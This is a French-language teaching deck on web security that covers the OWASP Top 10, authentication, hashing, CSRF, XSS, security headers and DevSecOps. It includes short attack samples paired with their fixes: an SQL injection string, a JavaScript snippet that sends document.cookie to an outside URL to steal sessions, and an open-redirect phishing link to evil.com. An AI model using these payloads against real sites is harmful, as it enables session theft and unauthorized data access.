Pour vous, la sécurité c’est quoi ?

Des découvertes de failles tous les jours !

Des exemples en tête ?

Top50 du nombre de vulnérabilités par le nombre de produits des marques

Comment se tenir à jour ?

Prévenir plutôt que guérir…

Des sites à surveiller

Vous en avez d’autres en tête ?

3 Grandes catégories de risques

Confidentialité : Risque de divulgation d’informations sensibles (ex. fuite de données personnelles).
Intégrité : Risque de modification non autorisée de données ou de code (ex. injection SQL, XSS).
Disponibilité : Risque de rendre un service indisponible (ex. attaque DDoS, ransomware).

Le prix de la sécurité

Impact fonctionnel
Limitation de l'expérience utilisateur (UX)
Impact financier
Impact réputationnel

Les facteurs d'exposition

La sécurité informatique dans une application c'est un « équilibre »

Entre protection et utilisabilité

L'insécurité a un coût

À votre avis ?

4,45 millions de dollars

Coût moyen mondial d'une violation de données en 2023 selon IBM Security

Source : Cost Of Data Breach - IBM Security 2023

Un exemple… Facebook

Un impact qui peut être globalisé

https://twitter.com/awlnx/status/1445073290708533258?s=09

Et si je ne fais rien !?

Volontaire !
Involontaire ?

Une petite histoire d'imprimante…

Intégrer la sécurité à toutes les étapes

La sécurité c’est un état d’esprit à intégrer.

C’est aussi votre métier

Réseau ?
Développeur ?
À votre avis ? Qui doit travailler la sécurité ?

Les deux !

Améliorer la sécurité

Dès la conception
Comprendre et avoir en tête les règles

Les grandes catégories à connaître

Les mots de passe (multi-facteurs, complexité, hashage).
Les failles dans le code (injections, XSS, CSRF, etc.).
Les failles dans les configurations (serveur, application, etc.).
Le social engineering (le maillon faible, l'humain).

Assurer la qualité

S'assurer une qualité continue du code

10 règles à connaitre (OWASP).
Des tests unitaires.
Une analyse automatique du code (SonarQube).

L'authentification, un point clé

Mots de passe : Complexité, hachage, salage.
Authentification à plusieurs facteurs : Double authentification, biométrie, OTP.
Sécurisation des mots de passe : Bcrypt, Argon2, Scrypt.
Sécurisation des sessions : JWT, Cookies sécurisés.
Authentification unique : OAuth, OpenID (SSO, Single Sign-On).

SSO (Single Sign-On) : Authentification unique. Est un risque potentiel.

À votre avis pourquoi ?

SSO (Single Sign-On) : Authentification unique. Est un risque potentiel.

Risques :

Accès à plusieurs services avec un seul compte.
Un seul compte à pirater pour accéder à plusieurs services.

Solution :

Double authentification (2FA, MFA).

10 grandes catégories

Injection ;
Violation de Gestion d’Authentification et de Session ;
Cross-Site Scripting (XSS) ;
Références directes non sécurisées à un objet ;
Mauvaise configuration Sécurité ;
Exposition de données sensibles ;
Manque de contrôle d’accès au niveau fonctionnel ;
Falsification de requête intersite (CSRF) ;
Utilisation de composants avec des vulnérabilités connues ;
Redirections et Renvois non validés.

Le risque, la multiplication des failles

Plus vous avez de failles, plus vous avez de risques. C'est là que la sécurité devient un enjeu majeur. Car plus le nombre de failles est important, plus la surface d'attaque est grande.

Open Web Application Security Project (OWASP)

Les dix risques par ordre de dangerosité

Le Top10 Web

Un changement récent

La version 2025 vient d'être publiée (fin 2025).
La précédente datait de 2021.
Beaucoup de ressources citent encore la version 2021.
Les codes changent, les concepts restent.

A01:2025-Contrôles d'accès défaillants (inclut le SSRF) ;
A02:2025-Mauvaise configuration de sécurité ;
A03:2025-Défaillances de la chaîne d'approvisionnement logicielle ;
A04:2025-Défaillances cryptographiques ;
A05:2025-Injection ;
A06:2025-Conception non sécurisée ;
A07:2025-Défaillances d'authentification ;
A08:2025-Manque d'intégrité des données et du logiciel ;
A09:2025-Carence de journalisation et d'alerte ;
A10:2025-Mauvaise gestion des conditions exceptionnelles ;

Analyse d'une situation

Exemple

L'injection

Risque d’injection SQL, Shell...

La défaillance cryptographique

Risque de casser / usurper une authentification ou une session. Comprend notamment le vol de session ou la récupération de mots de passe.

Données sensibles en clair.
Mots de passe en clair.
Mots de passe mal hachés.

Conception non sécurisée / Exposition de données sensibles

Conception d'une application sans prise en compte de la sécurité.

Données en clair.
Manque de contrôle d'accès.
Manque de contrôle de saisie.
Manque de contrôle de type (XSS, CSRF).
Absence d'anti-bots (captcha).
Utilisation d'une question secrète.
Réservation de place sans acompte.

Mauvaise configuration de la sécurité

Manque de validation des types de paramètres, accès trop facile aux ressources non accessibles au public (cloud), configuration incomplète ou trop permissive, messages d'erreurs trop détaillés.

Accès à des ressources non publiques.
Messages d'erreurs trop détaillés.
Filtrage absent ou incomplet (filter_input, strip_tags, htmlspecialchars, htmlentities, etc.).
En-têtes de sécurité manquants (CSP, HSTS, X-Frame-Options, etc.).
Services inutiles activés.

Utilisation de composants avec des vulnérabilités connues

Utilisation de composants tiers vulnérables.

CMS non à jour.
Librairies non à jour.
Apache non à jour.
PHP non à jour.
MySQL non à jour.

Défaillances de la chaîne d'approvisionnement logicielle

Nouvelle catégorie 2025, qui élargit les composants vulnérables :

Dépendances compromises (npm, composer, pip…).
Outils de build et pipelines CI/CD.
Chaîne de distribution du logiciel.

Nous y reviendrons : les Supply Chain Attacks.

Défaillances d'authentification

Les applications n’exécutent pas de manière correcte les fonctions liées à la gestion des sessions ou à l’authentification des utilisateurs

Absence de double authentification.
Absence de règles de mots de passe (complexité, durée de vie, longueur, etc).
Mot de passe par défaut (admin/admin, root/root).
Utilisation d'id dans l'url (session hijacking).

Manque d’intégrité des données et du logiciel

Cette catégorie englobe les codes et infrastructures qui ne sont pas protégés contre les violations d’intégrité.

Absence de vérification de l'intégrité des données (validation d'une mise à jour).
Absence de vérification de l'intégrité du logiciel (signature, hashage, etc).
Rejeu de requêtes possible (absence de CSRF).

Absence de logs serveur et de surveillance

Absence de logs serveur et de surveillance des activités de l’application.

Absence de logs serveur.
Absence de logs applicatifs.
Manque de supervision.

L'observabilité est un concept qui permet de mesurer et d'analyser le comportement d'un système. On parlera de traçabilité, de logs, de monitoring, de métriques, etc.

La traçabilité est un élément clé de la sécurité. Elle permet de savoir qui a fait quoi, quand et comment.

Falsification de requête côté serveur (SSRF)

Elle permet à un hacker d’inciter l’application côté serveur à envoyer des requêtes à un endroit non prévu.

Absence de vérification de l'origine de la requête.
Absence de vérification de l'origine de l'utilisateur.

Depuis 2025, le SSRF fait partie de A01 (contrôles d'accès défaillants).

Mauvaise gestion des conditions exceptionnelles

Nouvelle catégorie 2025 : que se passe-t-il quand ça se passe mal ?

Exceptions non traitées.
« Fail open » : le système laisse passer en cas d'erreur.
Messages d'erreur qui révèlent des informations internes.

Tableau des failles

L'objectif est souvent de ralentir l'attaquant. Afin de le décourager.

Avec OWASP on parle de

Vulnérabilité, et non de risque

Mais, une faille c’est quoi ?

Les types de failles

L’humain (Social Engineering)
D'accès (physique)
Applicatif (Hack)
L’argent (à quel montant une personne vous donne l’information ?)

Les gens sont souvent trop confiants.

Exemple SECTF à la DefCon

Call Recreation (@5min, @11min30)

Les outils autour d’OWASP

Un instant ✋

🔐 L'authentification 🔐

Crypter ≠ Hasher

Quelle est la différence ?

Crypter => Réversible (comme Canal+).
Hasher => Non réversible (comme le steak haché).

L'authentification forte

MFA (Multi-Factor Authentication)
2FA (Two-Factor Authentication)
OTP (One-Time Password)

3 formes d'authentification

Mémorielle qui représente une chose que l'intéressé connaît (un secret),
Matérielle qui se réfère à quelque chose qu'il possède (un objet),
Corporelle qui utilise un trait physique de l'utilisateur (une biométrie).

Des outils

Mot de passe : Un mot de passe avec un niveau de sécurité suffisant (longueur, caractères spéciaux, majuscules, minuscules, chiffres).
Application : OTP (One Time Password) : SMS, Google Authenticator, Authy, Yubikey.
Objet physique : U2F (Universal 2nd Factor) : Clé USB, Yubikey.
Biométrie : Empreinte digitale, Reconnaissance faciale.

Permet de sécuriser les mots de passe en ajoutant une couche de sécurité supplémentaire.
Via un secret partagé entre la personne physique et le site/application.

Supply Chain Attacks

Attaque ciblant les dépendances logicielles

Les dépendances logicielles sont partout dans nos applications (nuget, composer, npm, pip, etc.), mais également sur nos serveurs (apt, yum, docker, etc).

Exemple d'attaque

Une dépendance est compromise (par un attaquant ou un développeur malveillant).
Un malware est injecté dans la dépendance.
Le malware est distribué via la dépendance.
Le malware s'exécute sur les systèmes des utilisateurs de la dépendance (serveur ou poste de travail en fonction du type de dépendance).

On connait les failles

Comment on les corrige ?

Les failles

OWASP donne la liste des grandes catégories de failles. Entrons dans le détail technique.

L'Injection

SELECT * FROM client WHERE id='" . $_GET["id"] . "'

http://exemple.com/liste?id='or '1'='1

Correction

$stmt = $pdo->prepare("SELECT * FROM client WHERE id=?");
$stmt->bindParam(1, $_GET["id"]);
$stmt->execute();

Accès non autorisé à une session

http://exemple.com/?jsessionid=A2938298D293

Vol du cookie de session

// Exemple de vol d'un cookie de session en JavaScript
var img = new Image();
img.src = "http://exemple.com/?jsessionid=" + document.cookie;
document.body.appendChild(img);

Cross-Site Scripting (XSS)

Exécution de code JavaScript sans validation.

XSS Stocké (base de données).
XSS Réfléchi (URL / Lien).

Votre Nom : <input type="text" name="nom" value="" />

echo "Bonjour " . $_POST['nom'];

Correction

$nom = filter_input(INPUT_POST, 'nom', FILTER_SANITIZE_FULL_SPECIAL_CHARS);
// ou
$nom = strip_tags($_POST['nom']);
// ou (recommandé pour l'affichage)
$nom = htmlspecialchars($_POST['nom'], ENT_QUOTES, 'UTF-8');

A4 - Références directes non sécurisées à un objet

http://exemple.com/liste?mode=client

Si je change client par … admin ?

SELECT * FROM client where mode=?

$stmt->bindParam(1, $mode);

Toujours valider les entrées utilisateurs.
Toujours vérifier les droits de l'utilisateur.

if ($_SESSION['mode'] == 'client') {
    // On peut charger la ressource
} else if ($_SESSION['mode'] == 'admin') {
    // On peut charger la ressource
} else {
    // On ne peut pas charger la ressource
}

Mauvaise configuration Sécurité

Console d’administration disponible sans authentification en ligne
Listage des répertoires (Exemple)
Exemples de code non supprimés

Exposition de données sensibles

Espace client sans SSL/TLS.
Mot de passe en clair (ou en MD5, SHA1) dans la base de données.
Sauvegarde de données inutiles.
Données sensibles dans les logs.
Données sensibles en clair dans la base de données.
Absence de chiffrement des données au repos.

Utilisation de HTTPS (SSL/TLS).

password_hash('admin', PASSWORD_DEFAULT);
password_verify('admin', $hash);

Manque de contrôle d’accès au niveau fonctionnel

Page d’admin accessible avec un compte utilisateur
Mode non filtré (similaire à l’exemple mode={client,admin})

Condition d'accès dans le code

if(SessionUtilisateur::estAdmin()) {
    // On peut charger la ressource
} else {
    // On ne peut pas charger la ressource
}

Falsification de requête intersite (CSRF)

Rejeu de requête déjà jouée.
Attaque de type brute force.
Exécution de requête à l’insu de l’utilisateur (exemple : déconnexion / connexion sur un site tiers).

Comment le bloquer ?

Ajoutez un identifiant/jeton dans la requête, unique et non réutilisable

⚠️ Parlons-en !

Ajouter un jeton unique dans les formulaires.

<input type="hidden" name="_token" value="{{ csrf_token() }}">

// Côté PHP
if (isset($_POST['_token']) && $_POST['_token'] == $_SESSION['_token']) {
    // On peut traiter la requête
} else {
    die();
}

Utilisation de composants avec des vulnérabilités connues

CMS non à jour.
Apache non patché.
Librairies XYZ non à jour.
PHP non à jour.
MySQL non à jour.

Mauvaise conception

Absence d'anti-bots.

Utilisation de captcha (Google Recaptcha par exemple).

<script src="https://www.google.com/recaptcha/api.js" async defer></script>
<div class="g-recaptcha" data-sitekey="your_site_key"></div>

// Côté PHP
if (isset($_POST['g-recaptcha-response'])) {
    // On peut traiter la requête
} else {
    die();
}

Utilisation d'une question secrète :

Car faible possibilité de réponse (peu de couleurs, peu de réponses possibles, peu de dates, etc).

Redirections et Renvois non validés

Utilisation de votre site comme « masque » dans du phishing

http://www.shop-vdt.com/login.php?goto=evil.com/login

En vidéo

La gestion des secrets

::: danger Ne jamais écrire en dur Les clés API, mots de passe de BDD, tokens et certificats ne doivent jamais figurer dans le code source. :::

Variables d'environnement : Utiliser un fichier .env en local (hors git) et des variables d'environnement sur le serveur.
Ne pas versionner : Ajouter .env au .gitignore. Un secret commité est un secret exposé.
Rotation : Changer régulièrement les mots de passe et clés API en cas de fuite.

// Mauvais
$apiKey = "sk-1234567890abcdef";

// Bon
$apiKey = getenv('API_KEY');

Vérifier avant de commit

Utilisez des outils comme GitLeaks ou TruffleHog pour scanner l'historique Git.

Sécuriser les API et les tokens

JWT : Ne stockez jamais d'informations sensibles dans le payload (Base64). Signez-le avec une clé forte et définissez une expiration courte.
Rate Limiting : Protégez vos endpoints d'authentification et d'API contre le brute-force.
CORS : Ne laissez jamais Access-Control-Allow-Origin: * sur une API privée.
Ne jamais passer de secrets en GET : Les paramètres d'URL restent dans l'historique du navigateur et les logs serveur.

// ❌ Token dans l'URL
// https://api.exemple.com/user?token=eyJhbGci...

// Token dans le header Authorization
$token = str_replace('Bearer ', '', $headers['Authorization'] ?? '');

Stocker un JWT

localStorage (risque XSS)
Cookie HttpOnly + Secure + SameSite

Les headers de sécurité HTTP

Premier rempart côté navigateur, ils se configurent côté serveur.

Header	Rôle
`Content-Security-Policy` (CSP)	Empêche l'exécution de scripts inline et limite les sources de contenu.
`Strict-Transport-Security` (HSTS)	Force le navigateur à n'utiliser que HTTPS.
`X-Frame-Options`	Empêche le clickjacking (`DENY`, `SAMEORIGIN`).
`X-Content-Type-Options`	Empêche le navigateur de deviner le type MIME (`nosniff`).

header("Content-Security-Policy: default-src 'self'; script-src 'self'");
header("Strict-Transport-Security: max-age=31536000; includeSubDomains");
header("X-Frame-Options: DENY");
header("X-Content-Type-Options: nosniff");
header("Referrer-Policy: strict-origin-when-cross-origin");

Les cookies sécurisés

Quand vous posez un cookie de session :

HttpOnly : Empêche JavaScript d'y accéder (protection XSS).
Secure : N'envoie le cookie que sur HTTPS.
SameSite=Strict (ou Lax) : Protège contre le CSRF.

setcookie('session', $token, [
    'expires' => time() + 3600,
    'path' => '/',
    'secure' => true,
    'httponly' => true,
    'samesite' => 'Strict'
]);

DevSecOps et CI/CD sécurisé

Intégrer la sécurité dès la phase de développement (shift-left).

SAST : SonarQube, Semgrep, CodeQL (analyse statique du code).
SCA : Snyk, Dependabot, OWASP Dependency-Check (dépendances vulnérables).
Scan de secrets : GitLeaks, TruffleHog dans la pipeline.
Tests sécurité : ZAP en mode headless pour détecter les régressions.

# Exemple conceptuel de pipeline CI
stages:
  - build
  - test
  - security

sast:
  stage: security
  script:
    - sonar-scanner

dependency_check:
  stage: security
  script:
    - dependency-check.sh --project MonApp --scan .

secret_detection:
  stage: security
  script:
    - gitleaks detect --source .

Pre-commit hook

Bloquer les secrets avant même la CI :

# .git/hooks/pre-commit
gitleaks protect --staged

OWASP un classement qui évolue

Mapping 2021 -> 2025

Source

Zoom sur les mots de passe

Un mot de passe ne doit jamais être stocké en clair.
Un mot de passe doit être haché (non réversible).
Un mot de passe doit être salé (ajout d’une chaîne aléatoire).
Un mot de passe seul n'est souvent pas suffisant (Double authentification).

Principes de base

Salage

Le sel

Peut être différent pour chaque utilisateur.
Peut être global pour tous les utilisateurs.

Le bcrypt

Intègre le sel automatiquement.
Intègre un coût (nombre d'itérations) configurable.
Utilise Blowfish comme algorithme de base (pas SHA-256).
Alternatives modernes : Argon2, Scrypt.

Les mots de passe

Un mot de passe ne doit jamais être stocké en clair. Il doit être haché (non réversible) et salé (ajout d'une chaîne aléatoire).

Le sel doit être unique pour chaque utilisateur (recommandation actuelle). Celui-ci doit être stocké avec le hash et sera utilisé pour vérifier le mot de passe.

Le bcrypt est un algorithme de hachage qui intègre le sel, le coût et utilise Blowfish. Argon2 est recommandé comme alternative moderne (gagnant du Password Hashing Competition 2015).

Plusieurs formes d'authentification

Mémorielle qui représente une chose que l'intéressé connaît (un secret),
Matérielle qui se réfère à quelque chose qu'il possède (un objet),
Corporelle qui utilise un trait physique de l'utilisateur (une biométrie).

La double authentification

Mot de passe : chaîne de caractères, chiffres, symboles.
Application : OTP (One Time Password) : SMS, Google Authenticator, Authy, Yubikey.
Objet physique : U2F (Universal 2nd Factor) : Clé USB, Yubikey.
Biométrie : Empreinte digitale, Reconnaissance faciale.

Permet de sécuriser les mots de passe en ajoutant une couche de sécurité supplémentaire.
Via un secret partagé entre la personne physique et le site.